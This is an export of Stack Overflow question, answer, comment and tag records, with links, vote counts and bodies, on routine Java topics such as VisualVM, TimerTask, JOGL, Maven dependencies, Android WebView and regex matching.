score: 0
type: Comment
type: AnswerComment

http://stackoverflow.com/q/22289077
linked to: http://stackoverflow.com/q/151238
tagged with: jvisualvm
score: 7
tagged with: java
upvote count: 7
has comment: http://stackoverflow.com/comment/33863210
type: Question
has answer: http://stackoverflow.com/a/27552935
linked to: http://stackoverflow.com/q/1263991
has title: jvisualvm hangs when profiling a local process
answer count: 2
has comment: http://stackoverflow.com/comment/35703720
downvote count: 0
has body: when I use jVisualVM, I see two local processes: VisualVM itself and the process I am interested in let's call it ProcessX. When I doubleClick the VisualVM process, everything works fine. When I doubleclick ProcessX, the application is stuck and doesn't correspond anymore. I use eclipse to run my java application, and I have a stand-alone version of jVisualVM on a Windows x64 box. I run jVisualVM from "C:\Program Files\Java\jdk1.7.0_51\bin". Setting the Proxy to "No Proxy" in the VisualVM menu didn't help me either
favorite count: 0
has answer: http://stackoverflow.com/a/30871180
tagged with: visualvm
has comment: http://stackoverflow.com/comment/33863140
type: UnansweredQuestion
linked to: http://stackoverflow.com/q/10494095

http://stackoverflow.com/q/22196295
has comment: http://stackoverflow.com/comment/35351056
has title: How to fetch all Entity objects of a specific type in objectify 4?
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/35372955
has body: I have saved multiple objects of an entity type in datastore. Now i want to retrieve all entities of this type. i am currently using ofy().load.type(MyEntityType.Class).list() But this operation looks time consuming.What could be the issues or is there an alternative to do this? Thanks
answer count: 0
downvote count: 0
score: 1
has comment: http://stackoverflow.com/comment/33698845
favorite count: 0
type: Question
tagged with: objectify
tagged with: google-app-engine
tagged with: java
upvote count: 1

http://stackoverflow.com/q/22259138
tagged with: java
has answer: http://stackoverflow.com/a/22259166
has title: How does returning an || statement work in java?
possible better answer: http://stackoverflow.com/a/22259194
type: Question
has answer: http://stackoverflow.com/a/22259650
score: -4
has body: I'm new to programming so I have been working through the exercises at CodingBat.com. In the Recursion-2 section, there is a problem I wasn't able to solve (recursively) so I looked up an answer. The found solution contained the following code... public boolean split53(int[] nums) { return helper(0, nums, 0, 0); } private boolean helper(int start, int[] nums, int sum1, int sum2) { if (start &gt;= nums.length) return sum1 == sum2; if (nums[start] % 5 == 0) return helper(start + 1, nums, sum1 + nums[start], sum2); if (nums[start] % 3 == 0) return helper(start + 1, nums, sum1, sum2 + nums[start]); return helper(start + 1, nums, sum1 + nums[start], sum2) || helper(start + 1, nums, sum1, sum2 + nums[start]); } What the heck does it mean to return something or something else?! (Last return statement) For the code to work is has to be alternating between the 2 values, but I can't find any mention of return an || statement anywhere.
has comment: http://stackoverflow.com/comment/51364123
has answer: http://stackoverflow.com/a/24538028
has comment: http://stackoverflow.com/comment/33808396
answer count: 7
has answer: http://stackoverflow.com/a/22259213
has comment: http://stackoverflow.com/comment/33811078
favorite count: 0
has comment: http://stackoverflow.com/comment/33808354
upvote count: 2
has comment: http://stackoverflow.com/comment/33808445
has answer: http://stackoverflow.com/a/22259181
accepted answer: http://stackoverflow.com/a/22259213
downvote count: 6
has answer: http://stackoverflow.com/a/22259194
type: AnsweredQuestion
tagged with: recursion
has answer: http://stackoverflow.com/a/22261040

http://stackoverflow.com/q/22290436
type: Question
has title: Read from file inside Eclipse Project
answer count: 1
has answer: http://stackoverflow.com/a/22290463
score: 0
tagged with: http://stackoverflow.com/tag/xml
has body: I want to make an application that splits a big text file inside inputfolder into several small XML files to be put inside outputfolder. This is project outline: The following code works fine when it comes to getting a file from an outside folder, but when I modified it to read from a folder inside the project, it gave me this error: Exception in thread "main" java.lang.NullPointerException at com.zakaria.cut.XmlCutter.cut(XmlCutter.java:45) at com.zakaria.cut.Main.main(Main.java:8) [XmlCutter.java] package com.zakaria.cut; import java.io.BufferedReader; import java.io.File; import java.io.FileInputStream; import java.io.FileOutputStream; import java.io.IOException; import java.io.InputStreamReader; import java.io.OutputStreamWriter; import java.text.MessageFormat; import java.util.logging.ConsoleHandler; import java.util.logging.Handler; import java.util.logging.Level; import java.util.logging.Logger; public class XmlCutter { private static final String OUTPUT_FILE_NAME = "/file"; //private static String USER_HOME = System.getProperty("user.home"); private static final String INPUT_FOLDER = "../inputfolder"; private static String OUTPUT_FOLDER = "../outputfolder"; private static Logger LOG = Logger.getLogger("XmlCutter"); private static long COUNTER = 0; public XmlCutter() { super(); // TODO Auto-generated constructor stub } public void cut() { Handler h = new ConsoleHandler(); h.setLevel(Level.FINE); LOG.addHandler(h); LOG.setLevel(Level.FINE); File inputDir = new File(INPUT_FOLDER); File[] filesInInputDir = inputDir.listFiles(); for (File f : filesInInputDir) { if ((f.getName()).endsWith(".txt")) { LOG.fine((MessageFormat.format( "Found a text file {0}. Processing docs...", f.getName()))); processFile(f); } } } private static void processFile(File f) { StringBuilder out = new StringBuilder(); char prev = '#'; try { BufferedReader br = new BufferedReader(new InputStreamReader( new FileInputStream(f), "UTF8")); char[] buf = new char[1]; while (br.read(buf) &gt;= 0)…
type: UnansweredQuestion
tagged with: java
tagged with: eclipse

http://stackoverflow.com/comment/102562556
type: Comment
comment on: http://stackoverflow.com/a/22183720
has text: but it's make missing parent property on manyToOne child to get Parent
type: AnswerComment
score: 0

http://stackoverflow.com/tag/xml
tags question: http://stackoverflow.com/q/22168869
tags question: http://stackoverflow.com/q/22267881
tags question: http://stackoverflow.com/q/22243697
tags question: http://stackoverflow.com/q/22170731
tags question: http://stackoverflow.com/q/22302691
tags question: http://stackoverflow.com/q/22316511
tags question: http://stackoverflow.com/q/22246979
tags question: http://stackoverflow.com/q/22206641
tags question: http://stackoverflow.com/q/22226048
tags question: http://stackoverflow.com/q/22212660
type: Tag
tags question: http://stackoverflow.com/q/22239639
tags question: http://stackoverflow.com/q/22295135
tags question: http://stackoverflow.com/q/22190518
tags question: http://stackoverflow.com/q/22198970
tags question: http://stackoverflow.com/q/22185168
tags question: http://stackoverflow.com/q/22199458
tags question: http://stackoverflow.com/q/22196082
tags question: http://stackoverflow.com/q/22197722
tags question: http://stackoverflow.com/q/22248577
tags question: http://stackoverflow.com/q/22218832
tags question: http://stackoverflow.com/q/22231183
tags question: http://stackoverflow.com/q/22271921
tags question: http://stackoverflow.com/q/22280519
tags question: http://stackoverflow.com/q/22299494
tags question: http://stackoverflow.com/q/22295784
tags question: http://stackoverflow.com/q/22255734
tags question: http://stackoverflow.com/q/22312086
tags question: http://stackoverflow.com/q/22208576
tags question: http://stackoverflow.com/q/22252038
tags question: http://stackoverflow.com/q/22322709
tags question: http://stackoverflow.com/q/22319489
tags question: http://stackoverflow.com/q/22296977
tags question: http://stackoverflow.com/q/22257329
tags question: http://stackoverflow.com/q/22174537
tags question: http://stackoverflow.com/q/22208103
tags question: http://stackoverflow.com/q/22284253
tags question: http://stackoverflow.com/q/22243810
tags question: http://stackoverflow.com/q/22236822
tags question: http://stackoverflow.com/q/22170071
tags question: http://stackoverflow.com/q/22245021
tags question: http://stackoverflow.com/q/22290436
tags question: http://stackoverflow.com/q/22181755
tags question: http://stackoverflow.com/q/22321301
tags question: http://stackoverflow.com/q/22191939
tags question: http://stackoverflow.com/q/22213853
tags question: http://stackoverflow.com/q/22233913
tags question: http://stackoverflow.com/q/22210468
tags question: http://stackoverflow.com/q/22269148
tags question: http://stackoverflow.com/q/22310052
tags question: http://stackoverflow.com/q/22228055
tags question: http://stackoverflow.com/q/22253326
tags question: http://stackoverflow.com/q/22226715
tags question: http://stackoverflow.com/q/22271872
tags question: http://stackoverflow.com/q/22300497
tags question: http://stackoverflow.com/q/22219833
tags question: http://stackoverflow.com/q/22172152
tags question: http://stackoverflow.com/q/22193992
tags question: http://stackoverflow.com/q/22222042
tags question: http://stackoverflow.com/q/22187128
tags question: http://stackoverflow.com/q/22246548
tags question: http://stackoverflow.com/q/22230875
tags question: http://stackoverflow.com/q/22245764
tags question: http://stackoverflow.com/q/22299485
tag name: xml
tags question: http://stackoverflow.com/q/22286943
tags question: http://stackoverflow.com/q/22302388
tags question: http://stackoverflow.com/q/22226780
tags question: http://stackoverflow.com/q/22242649
tags question: http://stackoverflow.com/q/22284324
tags question: http://stackoverflow.com/q/22284769
tags question: http://stackoverflow.com/q/22231051
tags question: http://stackoverflow.com/q/22181475
tags question: http://stackoverflow.com/q/22258168
tags question: http://stackoverflow.com/q/22226116
tags question: http://stackoverflow.com/q/22181240
tags question: http://stackoverflow.com/q/22260438
tags question: http://stackoverflow.com/q/22297928
tags question: http://stackoverflow.com/q/22241841
tags question: http://stackoverflow.com/q/22215219

http://stackoverflow.com/q/22306155
favorite count: 0
type: Question
tagged with: android
has body: In my app I use TimerTask to repeat an action every x seconds, but now I want to stop the TimerTask with a button and run it again by pressing another. Here is what I have so far: public class MainActivity extends Activity { Timer Tempogatto = new Timer(); timerTempogatto timerTempogatto = new timerTempogatto(); @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); final TextView start = (TextView)findViewById(R.id.start); start.setOnTouchListener(new OnTouchListener() { @Override public boolean onTouch(View v, MotionEvent event) { // TODO Auto-generated method stub if(event.getAction() == MotionEvent.ACTION_DOWN){ Tempogatto.schedule(timerTempogatto, 0, 20000); } return true; } }); final TextView stop = (TextView)findViewById(R.id.stop); stop.setOnTouchListener(new OnTouchListener() { @Override public boolean onTouch(View v, MotionEvent event) { // TODO Auto-generated method stub if(event.getAction() == MotionEvent.ACTION_DOWN){ Tempogatto.cancel } return true; } }); (.....) private class timerTempogatto extends TimerTask { @Override public void run() { runOnUiThread(new Runnable() { @Override public void run() { //code i want to repeat every 20 second } }); } } naturally when I click stop TextView and then the Start TextView for restart TimerTask, it give me java.lang.IllegalStateException: Timer was canceled
has title: TimerTask cancel / restart
tagged with: java
upvote count: 1
tagged with: timertask
answer count: 1
has answer: http://stackoverflow.com/a/22306598
accepted answer: http://stackoverflow.com/a/22306598
type: AnsweredQuestion
downvote count: 0
score: 1
linked to: http://stackoverflow.com/q/7866349

http://stackoverflow.com/q/22171505
downvote count: 0
has answer: http://stackoverflow.com/a/22172403
has answer: http://stackoverflow.com/a/22178195
has comment: http://stackoverflow.com/comment/33669909
has answer: http://stackoverflow.com/a/22182240
has comment: http://stackoverflow.com/comment/33650353
has body: I have a problem whereby I have a class Item, which has a list of Subitems. When a child item has been changed or deleted, I need the parent Item to know about it. I was thinking that the Observer pattern would come in handy here. But does it make sense for an Item class to both extend extend Observerable and implement Observer? Cheers.
has comment: http://stackoverflow.com/comment/33649990
linked to: http://stackoverflow.com/q/964565
favorite count: 0
has answer: http://stackoverflow.com/a/22178049
type: UnansweredQuestion
tagged with: design-patterns
answer count: 4
tagged with: oop
upvote count: 5
tagged with: java
has comment: http://stackoverflow.com/comment/33669993
has comment: http://stackoverflow.com/comment/33650355
has title: OOP Class being an Observerable and Observer
type: Question
score: 5

http://stackoverflow.com/comment/33745113
type: AnswerComment
score: 0
comment on: http://stackoverflow.com/a/22224746
type: Comment
has text: +1 for suggesting Map<String, ISomeInterfaceDecoder>

http://stackoverflow.com/comment/33818582
type: AnswerComment
comment on: http://stackoverflow.com/a/22264367
has text: I didn't consider this to be blocking the EDT because the class that this would be called in is not a `JFrame` or any swing component.
type: Comment
score: 0

http://stackoverflow.com/q/22291918
has title: jogl java.lang.UnsatisfiedLinkError: with gluegen-rt.dll
upvote count: 1
answer count: 1
favorite count: 0
tagged with: jogl
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/22295929
downvote count: 0
score: 1
tagged with: java
has body: I have just been introduced to Java and JOGL for a university course. I am trying to set up a development environment but I am running into several difficulties. Whenever I try to run any JOGL application I get the following error: Exception in thread "main" java.lang.UnsatisfiedLinkError: C:\Users\user&gt;\AppData\Local\Temp\jogamp_0000\file_cache\jln8888451586118307843\jln8967240096003338483\gluegen-rt.dll: Access is denied I get this for every project I create, every demo project I try to run and demo applications that I try to run just to have a look at what they do. I can see that this is a permission problem. What I don't understand is this: Why is the gluegen-rt.dll being extracted to here? Why are there permissions to create this file but not to read from it? At the moment my projects are using the native JARs, but if someone can link me to a tutorial on how to use the native libraries instead that would be appreciated. I am running on Windows 8 x64 with jre7 and using JOGL 2.0.
type: Question

http://stackoverflow.com/a/22248393
type: AcceptedAnswer
downvote count: 0
has body: You've set the tick unit for the range axis, which is the y-axis in JFreeChart. For the x-axis, you want the domain axis. NumberAxis xAxis = (NumberAxis) plot.getDomainAxis(); xAxis.setTickUnit(new NumberTickUnit(60)); The domain and range terms come from a function mapping a set of domain values to a set of range values. With hindsight, using getXAxis() and getYAxis() for the method names would have been clearer for most people...for JFreeChart 2 I'll probably change it.
type: Answer
has comment: http://stackoverflow.com/comment/84671348
has comment: http://stackoverflow.com/comment/33788425
accepted answer of: http://stackoverflow.com/q/22248136
has comment: http://stackoverflow.com/comment/33789345
answers question: http://stackoverflow.com/q/22248136
upvote count: 9
has comment: http://stackoverflow.com/comment/33794213
score: 9

http://stackoverflow.com/a/22317608
has comment: http://stackoverflow.com/comment/33913934
answers question: http://stackoverflow.com/q/22317513
has comment: http://stackoverflow.com/comment/33916027
has comment: http://stackoverflow.com/comment/33923400
has comment: http://stackoverflow.com/comment/33914444
accepted answer of: http://stackoverflow.com/q/22317513
has body: for each button you can pass the intent with specific URL like this Intent browserIntent = new Intent(Intent.ACTION_VIEW,Uri.parse("http://www.facebook.com/apple.fruit")); startActivity(browserIntent); For example if your button is facebookButton then use it in your Activity like this: ImageButton facebookButton = (ImageButton)findViewById(R.id.facebook1); facebookButton.setOnClickListener(new View.onClickListener() { public void onClick(View arg0) { Intent browserIntent = new Intent(Intent.ACTION_VIEW,Uri.parse("http://www.facebook.com/apple.fruit")); startActivity(browserIntent); } }); other way would be loading your URL into a WebView. myWebView.loadUrl(http://"+tempUrl); As for the missing "http://" I'd just do something like this: if (!url.startsWith("http://") &amp;&amp; !url.startsWith("https://")) url = "http://" + url; Adding WebView in xml layout file: &lt;WebView android:id="@+id/webview" android:layout_width="fill_parent" android:layout_height="50dip"/&gt; Add the WebView content with your Url in MainActivity : // Enable javascript for the view mWebView = (WebView) findViewById(R.id.webview); mWebView.getSettings().setJavaScriptEnabled(true); mWebview.setWebViewClient(new WebViewClient() { public void onReceivedError(WebView view, int errorCode, String description, String failingUrl) { Toast.makeText(this, description, Toast.LENGTH_SHORT).show(); } }); mWebview .loadUrl("http://www.facebook.com/apple.fruit");
type: AcceptedAnswer
downvote count: 0
has comment: http://stackoverflow.com/comment/33927962
has comment: http://stackoverflow.com/comment/33914481
type: Answer
has comment: http://stackoverflow.com/comment/33921683
has comment: http://stackoverflow.com/comment/33914085
has comment: http://stackoverflow.com/comment/33915776
has comment: http://stackoverflow.com/comment/33922688
score: 7
has comment: http://stackoverflow.com/comment/33913998
upvote count: 7

http://stackoverflow.com/comment/33699061
type: AnswerComment
type: Comment
score: 0
has text: Ohhh, once I also had this problem :-) Now I care to use only lowercase in table or column names.
comment on: http://stackoverflow.com/a/22194288

http://stackoverflow.com/comment/33781300
type: Comment
type: QuestionComment
has text: What does this have to do with [tag:Swing]?
comment on: http://stackoverflow.com/q/22243243
score: 0

http://stackoverflow.com/comment/33844968
type: Comment
type: QuestionComment
score: 1
comment on: http://stackoverflow.com/q/22279109
has text: @AndrewThompson Its also tagged Swing :P

http://stackoverflow.com/q/22243299
has body: I am current reading a java tutorial from Oracle in the inner class section. Please refer to this link There is some code that I do not understand in the tutorial. Can somebody please explain to me how this code below in the DataStructure class works? DataStructureIterator iterator = this.new EvenIterator(); Should the outer class not be before DataStructureIterator iterator and this.new EvenIterator() like below: DataStructure.DataStructureIterator iterator = DataStructure.this.new EvenIterator(); I have searched around for a while but I have not found any answer.
favorite count: 0
has comment: http://stackoverflow.com/comment/33780028
has comment: http://stackoverflow.com/comment/33779780
has answer: http://stackoverflow.com/a/22243659
answer count: 4
has answer: http://stackoverflow.com/a/22243654
type: UnansweredQuestion
tagged with: keyword
score: 13
has comment: http://stackoverflow.com/comment/33779940
downvote count: 0
tagged with: java
type: Question
has title: this keyword in java
tagged with: this
upvote count: 13
has answer: http://stackoverflow.com/a/22244791
has answer: http://stackoverflow.com/a/22243577
has comment: http://stackoverflow.com/comment/33779781

http://stackoverflow.com/comment/33889858
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/22304369
has text: http://stackoverflow.com/questions/1706775/java-regex-regular-expression-to-split-a-paragraph-with-start-and-end - possible duplicate.
type: Comment

http://stackoverflow.com/a/22271257
accepted answer of: http://stackoverflow.com/q/22271221
upvote count: 2
score: 2
has comment: http://stackoverflow.com/comment/33830108
has body: You are missing the parenthesis in the second and third regex. !Url.matches(".*ppt|pot|pps") will match all the URLs that doesn't end with ppt, but the URL like abc.pot will not be matched by that regex, and the condition will be true. you should change it to: !Url.matches(".*(ppt|pot|pps)") .. as in the first regex. Also, that should be &amp;&amp; instead of || in your condition. BTW, why do you have 4 different matches() invocation? That will have to compile 4 different regexes, while you could have done it with a single regex. just add all the extensions to the first regex list: if (!url.matches(".*(doc|dot|docx|docm|dotx|dotm|ppt|pot|pps|xls|xlt|xlm|pdf)") P.S: Kindly follow Java Naming Conventions. Variable names should start with lower-case alphabets.
type: AcceptedAnswer
downvote count: 0
answers question: http://stackoverflow.com/q/22271221
type: Answer

http://stackoverflow.com/comment/33654176
type: Comment
comment on: http://stackoverflow.com/a/22171176
score: 0
type: AnswerComment
has text: In this instance, someMax would be 2^7

http://stackoverflow.com/comment/33713991
comment on: http://stackoverflow.com/q/22192152
score: 0
type: QuestionComment
has text: I've gone down the path of rolling my own, using Shibboleth's OpenSAML libraries. I don't recommend it. Look for a solution you can integrate; any of the suggestions already posed are good places to start. Just don't start with the raw API.
type: Comment

http://stackoverflow.com/q/22264820
has comment: http://stackoverflow.com/comment/33819804
has title: How to use FileChooser in Java?
has comment: http://stackoverflow.com/comment/33819276
has body: I need help using the FileChooser. Here's what I'm trying to do: I need to show the Open Dialog Box if the "JMenuItem open" is clicked and the Save Dialog Box if "JMenuItem save" is clicked. I'm still a newbie so go easy on me :) This is just a homework, please don't mind the other codes. Any answers will be appreciated :) import javax.swing.*; import java.awt.*; import java.awt.event.*; import javax.swing.filechooser.*; public class Assignment extends JFrame implements ActionListener { JMenuBar villsBar = new JMenuBar(); JMenu file = new JMenu("File"); JFileChooser fc = new JFileChooser(); JMenuItem open = new JMenuItem("Open"); JMenuItem save = new JMenuItem("Save"); JMenuItem print = new JMenuItem("Print"); JMenuItem close = new JMenuItem("Close"); JMenu computation = new JMenu("Computation"); JMenu grades = new JMenu("Grades"); JMenuItem circle = new JMenuItem("Circle"); JMenuItem triangle = new JMenuItem("Triangle"); JMenuItem square = new JMenuItem("Square"); JMenuItem twoNumbers = new JMenuItem("Two Numbers"); JMenuItem frstSem = new JMenuItem("1st Sem"); JMenuItem secSem = new JMenuItem("2nd Sem"); JMenu info = new JMenu("Information"); JMenu personal = new JMenu("Personal"); JMenuItem member = new JMenuItem("Member 1"); JLabel picture = new JLabel(new ImageIcon("D:\\Vill\\Wallpapers\\Picture.png")); JMenu quotes = new JMenu("Quotes"); JMenu others = new JMenu("Others"); JMenuItem order = new JMenuItem("Order"); JMenuItem calc = new JMenuItem("Calculator"); JMenuItem exit = new JMenuItem("Exit"); Button buttons[]; Panel panelbtn, screenPanel; JTextField screen; String test1,test2,test3,test4,test5; JLabel space1 = new JLabel (" "); JLabel space2 = new JLabel (" "); int tester; double answer; boolean clicked, afterclicked; FlowLayout layout = new FlowLayout(); Container calcula = new Container(); Container mmber = new Container(); public Assignment(){ super("Assignment"); setVisible(true); setLayout(layout); setBounds(500,200,500,500); setDefaultCloseOperatio…
has answer: http://stackoverflow.com/a/22265052
favorite count: 0
upvote count: 0
type: UnansweredQuestion
tagged with: swing
tagged with: java
has answer: http://stackoverflow.com/a/22265076
tagged with: jfilechooser
type: Question
answer count: 2
downvote count: 2
score: -2
has comment: http://stackoverflow.com/comment/33819318

http://stackoverflow.com/q/22226920
has title: Deactivate OK-Button if specifical field is empty
has comment: http://stackoverflow.com/comment/33749258
has body: I am using org.eclipse.swt.widgets.Text's type of Text field. I want to deactivate the Ok-Button if a specifical textfield is emtpy. Any ideas ? This is my code: public class CCIDDialog extends TitleAreaDialog { public CCIDDialog(Shell parentShell) { super(parentShell); } public void create(String _title, String firstchar) { this.firstchar = firstchar; super.create(); setTitle(_title); setMessage("Bitte geben Sie die CCID "+firstchar+"xxxxxxx und eine Beschreibung ein (max. 7-stellig): ", IMessageProvider.INFORMATION); getButton(IDialogConstants.OK_ID).setEnabled(false); } @Override protected Control createDialogArea(Composite parent) { Composite area = (Composite) super.createDialogArea(parent); Composite container = new Composite(area, SWT.NONE); container.setLayoutData(new GridData(GridData.FILL_BOTH)); GridLayout layout = new GridLayout(2, false); container.setLayoutData(new GridData(SWT.FILL, SWT.FILL, true, true)); container.setLayout(layout); createCCID(container); createDescription(container); return area; } private void createCCID(Composite container) { Label lbtFirstName = new Label(container, SWT.NONE); lbtFirstName.setText("CCID (ohne "+firstchar+"): "); GridData dataCCID = new GridData(); dataCCID.grabExcessHorizontalSpace = true; dataCCID.horizontalAlignment = GridData.FILL; ccidText = new Text(container, SWT.BORDER); ccidText.setLayoutData(dataCCID); ccidText.setTextLimit(7); ccidText.addModifyListener(new ModifyListener(){ public void modifyText(ModifyEvent e) { Text text = (Text) e.widget; System.out.println(text.getText()); } }); } } } @Override protected void okPressed() { saveInput(); super.okPressed(); } } The ccidText ist the field that should not be empty. Thank u
tagged with: swt
has answer: http://stackoverflow.com/a/22227223
tagged with: text
type: AnsweredQuestion
tagged with: dialog
tagged with: java
type: Question
score: 0
upvote count: 1
answer count: 1
downvote count: 1
favorite count: 0
has comment: http://stackoverflow.com/comment/33749093
linked to: http://stackoverflow.com/q/22245937
accepted answer: http://stackoverflow.com/a/22227223

http://stackoverflow.com/q/22313552
tagged with: performance
linked to: http://stackoverflow.com/q/3556283
downvote count: 0
tagged with: java
tagged with: concurrency
has comment: http://stackoverflow.com/comment/33906819
type: Question
has answer: http://stackoverflow.com/a/22313588
answer count: 2
score: 15
possible better answer: http://stackoverflow.com/a/22313638
favorite count: 0
has title: Contention in concurrent use of java.util.Random
tagged with: contention
tagged with: multithreading
upvote count: 15
has answer: http://stackoverflow.com/a/22313638
has body: Oracle Java documentation says: Instances of java.util.Random are threadsafe. However, the concurrent use of the same java.util.Random instance across threads may encounter contention and consequent poor performance. Consider instead using ThreadLocalRandom in multithreaded designs. What might be the reason behind poor performance?
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/22313588

contextclassloader
type: Tag
tag name: contextclassloader
tags question: http://stackoverflow.com/q/22170274

http://stackoverflow.com/comment/33664442
has text: Are you `run()`ing a thread or `start()`ing it?
comment on: http://stackoverflow.com/q/22179431
score: 5
type: Comment
type: QuestionComment

http://stackoverflow.com/a/22320698
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/22320018
has comment: http://stackoverflow.com/comment/33932428
type: Answer
has comment: http://stackoverflow.com/comment/33959477
has comment: http://stackoverflow.com/comment/33957963
has body: Check out this..... public static void main(String[] ar) { List&lt;String&gt; all=new LinkedList&lt;String&gt;(); all.add("interpreter"); all.add("interprete"); all.add("interpret"); String small=""; small=all.get(0); for (String string : all) { if(small.contains(string)) { small=string; } } System.out.println(small); } Let me know, Is it satisfying your requirement??? //-----------------Edited One-------------------------- public static void main(String[] ar) { List&lt;String&gt; all=new LinkedList&lt;String&gt;(); Set&lt;String&gt; result=new LinkedHashSet&lt;String&gt;(); all.add("interpreter"); all.add("interprete"); all.add("interpret"); all.add("developed"); all.add("develops"); String small=""; for(int i=0;i&lt;all.size();i++) { small=all.get(i); for(int j=i;j&lt;all.size();j++) { if(small.contains(all.get(j))) { small=all.get(j); } } result.add(small); } for (String string : result) { System.out.println(string); } }
has comment: http://stackoverflow.com/comment/33932415
answers question: http://stackoverflow.com/q/22320018
score: 0

http://stackoverflow.com/a/22217834
type: Answer
downvote count: 0
accepted answer of: http://stackoverflow.com/q/22217718
score: 5
answers question: http://stackoverflow.com/q/22217718
has body: runOnUiThread: Runs the specified action on the UI thread. If the current thread is the UI thread, then the action is executed immediately. If the current thread is not the UI thread, the action is posted to the event queue of the UI thread. Activity onCreate() method also runs in UI thread. First runOnUiThread code will run then rest of the code.
type: AcceptedAnswer
upvote count: 5

http://stackoverflow.com/comment/33912705
type: QuestionComment
has text: DNS updates sometimes take quite a time. Plus if they are on the same machine, why bother with the extra hassle of using a public ip address.
comment on: http://stackoverflow.com/q/22316772
score: 0
type: Comment

http://stackoverflow.com/comment/33750072
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/22227052
type: Comment
has text: If u close the stream before calling sendError, then u will get an IllegalStateException. if you are not closing the stream then, the String parameter in sendError is used to display a message to the client if an error page is not configured for that particular response code.

http://stackoverflow.com/comment/33715789
score: 0
has text: The `/`s are unneeded in Java's regexes. Just `hel\w\w` would work.
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/22207601

http://stackoverflow.com/a/22245145
upvote count: 3
has comment: http://stackoverflow.com/comment/33783051
has body: AFAIK there isn't a special headless version of Java 7. But you can easily tell ordinary Java to run in headless mode. For example: java -Djava.awt.headless=true com.acme.project.Main For more information on headless Java, read this Oracle page: Using Headless Mode in the Java SE Platform I would need this version to keep it as slim as possible. Your only options would appear to be: Ask Oracle if they can provide you with a special build (for money!!!). Attempt to create your own stripped down build from the OpenJDK sources. Beware that the Oracle binary distribution licence forbids you from distributing a JRE produced by "cutting down" a normal one. I don't know if this applies to a JRE that you have built from source code. Read the relevant license agreements carefully. But my advice would be to just use a standard JRE installer.
downvote count: 0
type: AcceptedAnswer
answers question: http://stackoverflow.com/q/22245076
type: Answer
accepted answer of: http://stackoverflow.com/q/22245076
score: 3

http://stackoverflow.com/comment/33897493
type: QuestionComment
has text: I suggest you re-read it then. It addresses the question exactly.
comment on: http://stackoverflow.com/q/22308244
score: 0
type: Comment

http://stackoverflow.com/q/22296977
type: Question
accepted answer: http://stackoverflow.com/a/22297218
score: 0
answer count: 1
has comment: http://stackoverflow.com/comment/33876480
has comment: http://stackoverflow.com/comment/33876574
has answer: http://stackoverflow.com/a/22297218
has body: I am getting xml file. I want enclose data within CDATA wherever i find & in my xml file. how should i do it? any help would be appreciated. <?xml version="1.0" encoding="UTF-8"?> Tove Jani Reminder Don't & forget me this weekend!
has comment: http://stackoverflow.com/comment/33876790
tagged with: http://stackoverflow.com/tag/xml
type: AnsweredQuestion
tagged with: java
has title: Want to enclose data with CDATA at runtime in XML

http://stackoverflow.com/comment/112035768
type: AnswerComment
has text: reference Mathijs de Groot: https://blog.jdriven.com/2017/10/run-one-or-exclude-one-test-with-gradle/
type: Comment
score: 2
comment on: http://stackoverflow.com/a/61779088

http://stackoverflow.com/q/22174835
score: 0
answer count: 1
has answer: http://stackoverflow.com/a/22175137
has comment: http://stackoverflow.com/comment/33656356
tagged with: serialization
has comment: http://stackoverflow.com/comment/33656074
type: UnansweredQuestion
tagged with: android
tagged with: java
has comment: http://stackoverflow.com/comment/33658665
has comment: http://stackoverflow.com/comment/33657504
type: Question
has body: this is my first post. I will try to make it as good as posible. I'm developing a simple game where I'm using Serializable to keep the state of the game on Portrait and Lanscape switching. This works fine but now I want to add a "Resume game" button in my menu activity (SplashScreen.java). My first question is; Can I use the same allready serialized objects to resume my game even after the game has been closed and restarted? In other words, will the saved state be lost at finish()? There are three classes MainActivity, SplashScreen (menu), Board (object) Second question: How can I pick up on the last state from my menu using a button? In my MainActivity.java I've got this: @Override protected void onSaveInstanceState(Bundle outState) { super.onSaveInstanceState(outState); outState.putSerializable("board", board); outState.putSerializable("moveCounter", moveCounter); } // When onCreate is called, bring back saved state if any @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); if (savedInstanceState != null) { Board oldState = (Board) savedInstanceState .getSerializable("board"); int oldMoveCounter = savedInstanceState.getInt("moveCounter"); if (oldState != null) { board = oldState; moveCounter = oldMoveCounter; } } In my object class Board.java I've got this: public class Board implements Serializable { private static final long serialVersionUID = 4416703215631262818L; ... ... }
has title: Are serialized objects stored to disk or memory?

http://stackoverflow.com/q/22323166
score: 0
has answer: http://stackoverflow.com/a/22323912
accepted answer: http://stackoverflow.com/a/22323912
tagged with: maven
tagged with: spring
type: AnsweredQuestion
has body: I'm trying to build a sample application from here. I 'm getting this error message while running mvn clean install -U: [ERROR] Failed to execute goal on project crowd-spring-security-sample: Could not resolve dependencies for project test:crowd-spring-security-sample:jar:1.0-SNAPSHOT: Could not find artifact com.atlassian.crowd:crowd-integration-springsecurity:jar:2.5.1 in central (http://repo.maven.apache.org/maven2) -> [Help 1] Could somebody point where I am missing something? Here is my pom: 4.0.0 test crowd-spring-security-sample 1.0-SNAPSHOT <maven.compiler.source>1.6</maven.compiler.source> <maven.compiler.target>1.6</maven.compiler.target> <crowd.version>2.5.1</crowd.version> <spring.version>3.1.0.RELEASE</spring.version> <springsecurity.version>3.1.0.RELEASE</springsecurity.version> junit junit 4.8.1 test org.slf4j slf4j-jdk14 1.5.8 javax.servlet servlet-api 2.5 provided com.atlassian.crowd crowd-integration-springsecurity ${crowd.version} runtime org.springframework spring-context ${spring.version} runtime org.springframework spring-core ${spring.version} runtime org.springframework spring-beans ${spring.version} runtime org.springframework.security spring-security-web ${springsecurity.version} runtime org.springframework.security spring-security-config ${springsecurity.version} runtime org.springframework.security spring-security-core ${springsecurity.version}
tagged with: java
type: Question
tagged with: atlassian-crowd
answer count: 1
has title: maven error while building spring-crowd-security sample

http://stackoverflow.com/comment/33775151
comment on: http://stackoverflow.com/a/22239847
score: 0
type: AnswerComment
type: Comment
has text: Dunno about the flush. Maybe you should send a blank line first?

http://stackoverflow.com/comment/33803043
has text: Can you provide the link for loading image types in html. I can't seem to find it.
comment on: http://stackoverflow.com/a/22255509
type: AnswerComment
score: 0
